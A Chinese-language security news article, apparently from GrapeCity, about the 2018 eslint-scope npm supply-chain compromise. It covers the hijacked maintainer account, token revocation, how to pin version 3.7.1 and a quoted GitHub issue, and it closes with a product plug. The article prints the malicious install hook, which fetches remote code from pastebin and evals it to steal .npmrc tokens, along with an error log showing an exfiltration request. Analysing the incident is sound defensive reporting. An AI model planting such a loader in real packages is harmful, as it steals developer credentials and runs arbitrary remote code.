2018年7月12日,全球最大的面向開源及私有軟件項目的託管平臺GitHub對外宣稱,一名黑客入侵了ESLint ,並利用Npm帳戶發佈了包含了惡意軟件的版本3.7.2,用戶在安裝時,惡意代碼將會自動執行,訪問某個網站同時會把用戶的.npmrc文件的內容發送給黑客本身,而在.npmrc文件中通常包含發佈到NPM的訪問令牌。html
惡意程序包的版本是eslint-scope@3.7.2和eslint-config-eslint@5.0.2,目前npm已經撤銷在2018-07-12 12:30 UTC以前發出的全部訪問令牌,以及下架了受影響的包,所以,受此攻擊影響的全部訪問令牌都再也不可用。用戶應完全刪除對應版本的包及從新獲取訪問令牌。
經技術人員分析,若是出現如下錯誤信息,說明您的帳戶安全存在潛在風險:前端
[2/3] ⠠ eslint-scope error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed. Exit code: 1 Command: node ./lib/build.js Arguments: Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope Output: undefined:30 https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten ^^^^^^ SyntaxError: Unexpected end of input at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10) at emitOne (events.js:116:13) at IncomingMessage.emit (events.js:211:7) at IncomingMessage.Readable.read (_stream_readable.js:475:10) at flow (_stream_readable.js:846:34) at resume_ (_stream_readable.js:828:3) at _combinedTickCallback (internal/process/next_tick.js:138:11)
下面這段代碼嘗試加載一個地址爲http://pastebin.com/raw/XLeVP82h 的URL。
同時,也試圖發送用戶的.npmrc向某個未知地方。node
try{ var https=require('https'); https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{ r.setEncoding('utf8'); r.on('data',(c)=>{ eval(c); }); r.on('error',()=>{}); }).on('error',()=>{}); }catch(e){} eval(c); }); r。on(' error ',()=> {}); })。on(' error ',()=> {}); } catch(e){}
若是您已經經過GitHub引用了這段有毒代碼,請當即採起如下措施:react
引腳的版本eslint-scope來3.7.1,一種辦法是添加resolutions到您的package.jsongit
"resolutions": { "eslint-scope": "3.7.1" } 驗證依賴版本yarn list eslint-scope。它應該打印出來eslint-scope@3.7.1
如下內容摘自GitHub官網:github
Please see the following issue:
eslint/eslint-scope#39
eslint-scope 3.7.2 has been published an hour ago which is a hacked version that steals the NPM accounts or something.
Please pull the version 3.7.2 from the npm and freeze the account so this does not get propagated.
As a matter of fact, there is no release tag for 3.7.2 on Github, so I think it would be great to consider double checking with Github repository before publishing any code.
This would at least limit the possibility of uploading the malicious code to NPM without having Github credentials to tag the release/version.
Additionally I believe it's possible to check if the release was signed and somehow enforce all tagged commits to be signed. I think Github returns such information via their API, at least you can see the verified commits via Github's web interface so there must be a way. Developer may be able to opt-in for this extra security via some .rc file stored in Git repo.
該段大意爲:web
「eslint-scope 3.7.2已在一小時前發佈,這是一個黑客版本,竊取NPM賬戶或其餘東西。
請從npm中提取版本3.7.2並凍結賬戶,這樣就不會傳播。
事實上,在Github上沒有3.7.2的發佈標籤,因此我認爲在發佈任何代碼以前考慮使用Github存儲庫進行雙重檢查會很棒。
這至少會限制將惡意代碼上傳到NPM的可能性,而無需使用Github憑據來標記版本/版本。
此外,我相信能夠檢查發佈是否已簽名,並以某種方式強制執行全部標記的提交以進行簽名。我認爲Github經過他們的API返回這些信息,至少你能夠經過Github的web界面看到通過驗證的提交,因此必須有辦法。開發人員能夠經過.rc存儲在Git倉庫中的某些文件來選擇加入這種額外的安全性。」
信息共享是件好事,但用戶信息的安全性卻不容忽視。據稱,本次事件發生的主要緣由是,npm維護者的帳戶遭到了黑客盜用,這個維護者在其餘站點上也重複使用了他們的npm密碼,而且他們也沒有在他們npm帳戶上開啓雙重身份驗證,因此才致使此類事件的發生。npm
對於這種狀況的發生,ESLint團隊深表遺憾。同時也但願其餘軟件包維護者能夠從此次事件中吸收經驗教訓並共同提升整個npm生態系統的安全。json
做爲從事控件開發20餘年,深諳用戶數據安全重要性的葡萄城官方爲npm軟件包維護者和用戶提供一些建議:redux
隨着互聯網技術的發展,黑客入侵已經向着規模化,全球化的程度邁進。僅2018年初,就已經出現了數十起足以引發國際重視的網絡信息安全事件。本次黑客入侵不是開源社區安全事件的第一塊兒,也不會是最後一塊兒,如何杜絕網絡安全隱患,是每一個開發人員必須面對的頭等大事。除了作好自身安全防禦外,選擇使用一整套成熟的商業軟件,如葡萄城的活字格、SpreadJS、ActiveReports等也是一個不錯的選擇。